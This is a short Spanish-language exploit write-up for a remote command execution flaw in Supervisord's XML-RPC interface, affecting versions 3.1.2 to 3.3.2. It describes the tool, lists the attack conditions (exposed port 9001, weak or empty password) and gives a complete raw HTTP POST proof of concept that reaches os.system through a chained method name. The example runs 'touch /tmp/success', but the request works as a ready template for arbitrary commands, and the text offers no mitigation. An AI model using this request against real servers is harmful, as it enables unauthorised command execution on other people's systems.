
Script de vulnerabilidad de ejecución remota de comandos en Supervisord
Supervisor es una herramienta de gestión de procesos escrita en Python que se puede usar fácilmente para iniciar, reiniciar (reinicio automático de programas) y detener procesos (no solo procesos de Python) en sistemas tipo UNIX (no compatible con Windows).
Supervisor es un programa de modelo C/S; supervisord es el lado del servidor y supervisorctl es el lado del cliente. En términos simples, el cliente introduce comandos de supervisor para invocar la API del lado del servidor y así completar algunas tareas.
Por otro lado, el servicio web de Supervisor es bastante utilizado por muchas personas; es el cliente de supervisord. Siempre que la ruta esté disponible, se pueden realizar de forma remota a través de la página web operaciones similares a las del cliente de supervisor. Estas operaciones a través de la interfaz web se implementan mediante la interfaz XML-RPC, y esta vulnerabilidad también radica en el procesamiento de datos de dicha interfaz XML-RPC.
Supervisor versión 3.1.2 a Supervisor versión 3.3.2
El servicio web está habilitado y el puerto 9001 es accesible
La contraseña es débil o está vacía
POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>
Este PoC no tiene salida visible.
